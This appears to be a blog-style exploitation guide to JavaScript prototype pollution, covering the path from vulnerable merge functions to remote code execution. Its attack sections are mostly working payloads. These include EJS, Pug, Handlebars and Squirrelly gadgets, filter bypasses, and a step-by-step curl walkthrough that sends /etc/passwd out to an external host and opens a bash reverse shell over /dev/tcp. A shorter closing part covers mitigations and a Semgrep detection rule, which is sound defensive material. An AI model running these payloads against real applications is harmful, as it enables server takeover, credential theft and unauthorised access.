JavaScript Prototype Pollution to RCE: Complete Exploitation Guide

Deep-dive into prototype pollution vulnerabilities — from __proto__ chain mechanics to full RCE via EJS, Pug, and Express gadget chains with real CVE examples.

lazyhackers
Mar 27, 2026 · 18 min read · 14 views

Understanding the JavaScript Prototype Chain

JavaScript is a prototype-based language. Every object has an internal link to another object called its prototype, forming the prototype chain. When you access a property on an object, the engine walks up the chain until it finds the property or reaches null. This design is fundamental to JavaScript but creates a critical attack surface when user-controlled data can modify shared prototypes.

Every plain object literal in JavaScript is linked to Object.prototype through its __proto__ accessor property (or the internal [[Prototype]] slot). Consider this:

const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(obj.toString === Object.prototype.toString); // true

// Setting a property on obj.__proto__ affects ALL objects
obj.__proto__.isAdmin = true;
const another = {};
console.log(another.isAdmin); // true — pollution!

The three primary vectors for reaching Object.prototype are:

  • obj.__proto__ — the legacy accessor (present in all modern engines)
  • Object.getPrototypeOf(obj) — the ES6 reflection API
  • Constructor functions: obj.constructor.prototype
The __proto__ property is not a real object property — it is an accessor defined on Object.prototype that gets/sets the [[Prototype]] internal slot. This distinction matters when using Object.create(null) which creates truly prototype-free objects.

How Prototype Pollution Occurs in Real Libraries

Prototype pollution typically occurs in recursive merge, clone, or path-setting functions that iterate over attacker-controlled keys without checking for the special string __proto__, constructor, or prototype.

Lodash Deep Merge — CVE-2019-10744

Lodash versions before 4.17.12 were vulnerable in the _.merge(), _.mergeWith(), _.defaultsDeep(), and _.zipObjectDeep() functions. The vulnerable merge code effectively did:

// Simplified vulnerable merge logic (pre-fix lodash)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]); // recursive — no key sanitization
    } else {
      target[key] = source[key]; // direct assignment
    }
  }
}

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Now every new object has isAdmin: true
console.log({}.isAdmin); // true

The fix added a check: if (key === '__proto__') continue; — but the constructor path was missed in early patches, leading to a bypass: {"constructor": {"prototype": {"isAdmin": true}}}.

jQuery Extend — CVE-2019-11358

jQuery's $.extend(true, {}, userInput) with deep: true was vulnerable. The fix required checking key !== "__proto__" before recursive assignment.

deep-assign and Similar Packages

Dozens of npm packages (merge, defaults-deep, mixin-deep, set-value, unset-value, flat) had similar vulnerabilities. The pattern is always: recursive traversal + no key validation.

// set-value vulnerable pattern (simplified)
function set(obj, path, value) {
  const keys = path.split('.');
  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    if (!current[keys[i]]) current[keys[i]] = {};
    current = current[keys[i]]; // follows __proto__ if key is "__proto__"
  }
  current[keys[keys.length - 1]] = value;
}

set({}, "__proto__.polluted", true);
console.log({}.polluted); // true

Detection Methodology

Manual Fuzzing via HTTP Requests

Inject prototype pollution payloads into JSON bodies, query parameters, and URL fragments. Look for behavioral changes in subsequent requests or responses that indicate global state modification.

POST /api/user/update HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "__proto__": {
    "isAdmin": true,
    "polluted": "yes_pp_works"
  }
}

After sending this, request an admin-only endpoint. If access is granted, prototype pollution exists and the application uses something like if (req.user.isAdmin) without proper property ownership checks.

Detecting via JSON Path-based APIs

// Query parameter based PP
GET /api/search?__proto__[isAdmin]=true
GET /api/search?constructor[prototype][isAdmin]=true

// URL-encoded variations
GET /api/search?__proto__%5BisAdmin%5D=true

Automated Detection with Tools

Several tools can automate detection:

  • ppfuzz — fuzzes JSON bodies for prototype pollution
  • pp-labs scanner — specialized tool by researcher Gareth Heyes
  • semgrep with custom rules targeting merge(, extend(, assign(
  • Burp Suite with DOM Invader for client-side PP

Source Code Audit Patterns

// Look for these patterns in source audits:
// 1. Recursive merge without key validation
function recursiveMerge(target, source) {
  Object.keys(source).forEach(key => {  // <-- no __proto__ check
    if (typeof source[key] === 'object') {
      recursiveMerge(target[key] || {}, source[key]);
    }
  });
}

// 2. Dynamic property setting via user input
app.post('/config', (req, res) => {
  _.merge(config, req.body); // VULNERABLE if req.body is JSON
});

// 3. Path-based setters
_.set(obj, req.query.path, req.query.value); // VULNERABLE

Server-Side Exploitation in Node.js

Authentication Bypass

The most common immediate impact is authentication bypass. Many Node.js apps check properties like user.isAdmin or user.role using standard property access, which traverses the prototype chain:

// Vulnerable code pattern
app.get('/admin', (req, res) => {
  if (req.session.user.isAdmin) {  // checks prototype if own property absent
    return res.render('admin');
  }
  res.status(403).send('Forbidden');
});

// Attack: pollute Object.prototype.isAdmin before this check runs
// POST /api/settings with body: {"__proto__": {"isAdmin": true}}
// Now any user object without own isAdmin property inherits true

Arbitrary File Read

// If the app constructs file paths using prototype properties:
app.get('/file', (req, res) => {
  const opts = {};  // empty object
  const base = opts.basePath || '/var/www/static'; // inherits polluted basePath
  res.sendFile(path.join(base, req.query.name));
});

// Pollute: {"__proto__": {"basePath": "/etc"}}
// Then: GET /file?name=passwd  =>  reads /etc/passwd

Gadget Chains: Prototype Pollution to RCE

A "gadget" is existing code in the application or its dependencies that can be weaponized once prototype pollution is achieved. The key insight: you don't need to write code — you just need to set the right inherited properties that existing code will consume unsafely.

EJS Template Engine — outputFunctionName Gadget

This is one of the most powerful and widely applicable gadgets. EJS (Embedded JavaScript Templates) uses options that can be polluted to inject arbitrary JavaScript into the template compilation step:

// EJS vulnerable code path (simplified from actual source):
// In ejs/lib/ejs.js, the compile function reads options like:
// opts.outputFunctionName — inserted directly into generated function string
// If polluted, this becomes an RCE gadget.

// Step 1: Achieve prototype pollution
const payload = {
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned');s"
  }
};
_.merge({}, payload);

// Step 2: Any subsequent EJS render call triggers RCE
// The template compiler generates code like:
// var __output = (outputFunctionName || 'append')
// which becomes the injected code

// Full Burp request:
/*
POST /api/merge HTTP/1.1
Host: target.example.com
Content-Type: application/json

{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl http://attacker.com/$(whoami)');s"}}
*/
The EJS gadget requires EJS to be installed as a dependency (extremely common in Express apps) and for a template render to occur after the pollution. In most Express applications, this happens on nearly every request that renders a view.

Pug Template Engine Gadget

// Pug (formerly Jade) gadget via pretty option and line property
// Affects pug versions before 3.0.1 (CVE-2021-21353-adjacent behavior)

const payload = {
  "__proto__": {
    "compileDebug": true,
    "self": true,
    "line": "1;require('child_process').execSync('id>/tmp/pwn')//"
  }
};

Express.js — res.render() Gadget

// When express calls res.render(), it passes options to the template engine
// Polluting 'view options' properties affects all renders:

// Gadget: pollute the 'settings' property read by express view layer
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"');s"}}}

// Alternative via escapeFunction property in some template engines
{"__proto__": {"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id').toString()"}}

Handlebars Server-Side — compile Gadget

// Handlebars (hbs) gadget via __defineSetter__ abuse
// CVE-2019-19919 and related

const payload = JSON.parse(`{
  "__proto__": {
    "pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require('child_process').execSync('id').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"
  }
}`);

Node.js child_process Gadget via spawn Options

// Some applications use child_process.spawn() with options object
// If shell: true is polluted, arbitrary command execution follows

{"__proto__": {"shell": "/proc/self/exe", "env": {"NODE_OPTIONS": "--require /proc/self/fd/3"}}}

// More direct approach — pollute argv for spawn calls
{"__proto__": {"argv1": "--require /tmp/evil.js"}}

JSON-Based Prototype Pollution

JSON deserialization is a primary attack vector since JSON.parse() itself does NOT protect against prototype pollution — it faithfully creates the object graph described in the JSON string, including __proto__ as a key:

// This is valid JSON that sets __proto__ as a regular key:
const dangerous = JSON.parse('{"__proto__": {"polluted": true}}');
// dangerous.__proto__ is now a plain object, NOT Object.prototype

// BUT — when this is passed to a vulnerable merge function:
_.merge({}, dangerous);
// The merge function traverses into dangerous.__proto__
// and sets properties on the actual prototype

// Full attack chain in a typical Express app:
app.post('/api/config', express.json(), (req, res) => {
  const config = {};
  _.merge(config, req.body); // req.body comes from JSON.parse internally
  res.json({ok: true});
});

// Payload:
// POST /api/config
// {"__proto__": {"isAdmin": true, "outputFunctionName": "x;require('child_process').execSync('id>/tmp/pwn');s"}}

AST Injection via Prototype Pollution

A sophisticated attack chain discovered by researchers at Snyk involves polluting properties consumed during Abstract Syntax Tree (AST) processing. Template engines and expression evaluators build ASTs from template strings, and some properties are read from the options object during compilation:

// AST injection in template compilation
// When a template engine builds an AST node, it may read properties
// like 'type', 'body', or 'nodes' from the environment

// Example with Nunjucks (CVE-2023-related pattern):
// Pollute the 'AST' constructor properties:
{"__proto__": {
  "type": "CallExpression",
  "callee": {
    "type": "MemberExpression",
    "object": {"type": "Identifier", "name": "process"},
    "property": {"type": "Identifier", "name": "exit"}
  }
}}

// More practical: Squirrelly template engine gadget
const Sqrl = require('squirrelly');
// Pollute then render any template:
{"__proto__": {"defaultFilter": "e')) + require('child_process').execSync('id') + (("}}

Real CVE Analysis

CVE Package Version Impact Vector
CVE-2019-10744 lodash < 4.17.12 Prototype Pollution _.merge, _.defaultsDeep
CVE-2019-11358 jQuery < 3.4.0 Prototype Pollution $.extend(true,...)
CVE-2020-28282 getobject < 1.0.0 Prototype Pollution set() path traversal
CVE-2021-21353 pug < 3.0.1 RCE via PP Template compilation
CVE-2022-37601 webpack loader-utils < 2.0.3 Prototype Pollution parseQuery function

Complete Exploitation Walkthrough

Here is a full end-to-end exploit against a vulnerable Node.js/Express/EJS application:

# Step 1: Identify the merge endpoint
# Look for POST endpoints that accept JSON and update config/user objects

# Step 2: Confirm prototype pollution
curl -X POST https://target.example.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"pp_test": "polluted_12345"}}'

# Step 3: Check if pollution worked (if there's a debug endpoint)
curl https://target.example.com/api/debug/config
# Look for pp_test: "polluted_12345" in any object

# Step 4: Identify template engine
# Check X-Powered-By, error messages, package.json if accessible

# Step 5: Deploy EJS RCE payload
curl -X POST https://target.example.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl http://10.10.10.10:8080/$(cat /etc/passwd|base64 -w0)\");s"
    }
  }'

# Step 6: Trigger template render
curl https://target.example.com/dashboard
# The EJS render will execute the injected code

# Burp Suite version for cleaner delivery:
POST /api/settings HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: session=your_valid_session

{
  "__proto__": {
    "outputFunctionName": "x;const {execSync}=require('child_process');execSync('bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"&');s"
  }
}
When testing for PP2RCE, always start with a benign pollution first (e.g., setting a non-existent property) to confirm the vector works before deploying RCE payloads. This reduces risk of crashing the application.

Client-Side Prototype Pollution

Prototype pollution also affects client-side JavaScript, where it can lead to DOM XSS through gadgets in popular libraries:

// URL fragment-based PP (common in SPAs)
// https://target.com/#__proto__[isAdmin]=true

// jQuery.extend with URL params
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
  $.extend(true, config, unflatten({[k]: v})); // VULNERABLE
});

// DOMPurify bypass via PP (pre-2.0.17)
// Pollute: Object.prototype.ALLOWED_TAGS = ['script']
// Then DOMPurify(userInput) allows <script> tags

// Gadget: jQuery $.html() sink
// Pollute: {"__proto__": {"html": "<img src=x onerror=alert(1)>"}}
// Any call to $('selector').html() with no arg returns polluted value
// which may be written to DOM elsewhere

Bypassing Prototype Pollution Protections

// If __proto__ is blocked, try constructor chain:
{"constructor": {"prototype": {"isAdmin": true}}}

// URL-based bypass if key sanitization only handles exact strings:
// Keys with zero-width spaces, Unicode homoglyphs
{"\u005F\u005Fproto\u005F\u005F": {"isAdmin": true}}  // __proto__ with Unicode escapes

// In some parsers, duplicate keys are handled differently:
// Last-wins vs first-wins behavior:
{"__proto__": {"safe": true}, "__proto__": {"isAdmin": true}}

// Array-based path traversal in set() functions:
set(obj, ['__proto__', 'isAdmin'], true)  // if array paths aren't sanitized

Mitigation Strategies

1. Object.create(null) — Prototype-Free Objects

// Create objects with no prototype for configuration/user data:
const safeConfig = Object.create(null);
// safeConfig.__proto__ is undefined — cannot be polluted
// safeConfig.constructor is undefined

// For merge targets:
function safeMerge(source) {
  const target = Object.create(null);
  Object.assign(target, source); // shallow — safe for simple cases
  return target;
}

2. Object.freeze() on Critical Prototypes

// Freeze Object.prototype at application startup:
Object.freeze(Object.prototype);

// This prevents any modifications to the prototype
// Note: may break libraries that legitimately extend prototypes
// Test thoroughly before deploying

3. Schema Validation with AJV

const Ajv = require('ajv');
const ajv = new Ajv();

const schema = {
  type: 'object',
  properties: {
    name: { type: 'string' },
    email: { type: 'string', format: 'email' }
  },
  additionalProperties: false  // CRITICAL — rejects __proto__ and constructor keys
};

app.post('/api/user', (req, res) => {
  const valid = ajv.validate(schema, req.body);
  if (!valid) return res.status(400).json(ajv.errors);
  _.merge(userObject, req.body); // safe — schema already validated
});

4. Key Sanitization in Merge Functions

function safeDeepMerge(target, source) {
  const FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

  function merge(t, s) {
    for (const key of Object.keys(s)) {
      if (FORBIDDEN_KEYS.has(key)) continue; // skip dangerous keys
      if (s[key] !== null && typeof s[key] === 'object' && !Array.isArray(s[key])) {
        if (!t[key] || typeof t[key] !== 'object') t[key] = {};
        merge(t[key], s[key]);
      } else {
        t[key] = s[key];
      }
    }
    return t;
  }
  return merge(target, source);
}

5. Use hasOwnProperty Checks

// When checking permission properties, always use hasOwnProperty:
if (Object.prototype.hasOwnProperty.call(user, 'isAdmin') && user.isAdmin) {
  // This check will NOT be fooled by prototype pollution
  // because hasOwnProperty only checks own properties
}

// Never use:
if (user.isAdmin) { ... } // VULNERABLE — traverses prototype chain

6. Node.js --disable-proto Flag

# Node.js 12.17.0+ supports disabling __proto__ entirely:
node --disable-proto=delete app.js
# or
node --disable-proto=throw app.js  # throws on __proto__ access

# Set via NODE_OPTIONS environment variable:
export NODE_OPTIONS="--disable-proto=throw"
The --disable-proto=throw flag may break applications that legitimately inspect prototype chains. Test in staging first. The additionalProperties: false in JSON schema validation is considered the most practical production mitigation.

Detection with Semgrep

# semgrep rule to find vulnerable merge patterns:
rules:
  - id: prototype-pollution-merge
    patterns:
      - pattern: |
          function $FUNC($TARGET, $SOURCE) {
            ...
            for ($KEY in $SOURCE) {
              ...
              $TARGET[$KEY] = ...
            }
            ...
          }
      - pattern-not: |
          if ($KEY === '__proto__') { ... }
    message: "Potential prototype pollution in merge function $FUNC"
    languages: [javascript, typescript]
    severity: ERROR

# Run against your codebase:
semgrep --config=./pp-rules.yml ./src/

Summary: The Full Attack Chain

A complete prototype pollution to RCE attack follows this path:

  1. Identify a POST/PUT endpoint accepting JSON or a URL parameter that passes to a merge function
  2. Inject {"__proto__": {"test": "polluted"}} and verify pollution via behavioral change or response
  3. Identify the template engine in use (EJS, Pug, Handlebars) from error messages, package.json, or response headers
  4. Apply the appropriate gadget payload targeting that engine's compilation options
  5. Trigger a template render by requesting any page that uses the engine
  6. Receive the reverse shell or command output

The severity of prototype pollution has elevated significantly as researchers have catalogued more gadget chains. What was once considered a medium-severity issue is now consistently rated Critical when gadget chains to RCE are demonstrated. Any Node.js application running EJS with a vulnerable merge endpoint is essentially a pre-authenticated RCE waiting to be discovered.

Reactions

Related Articles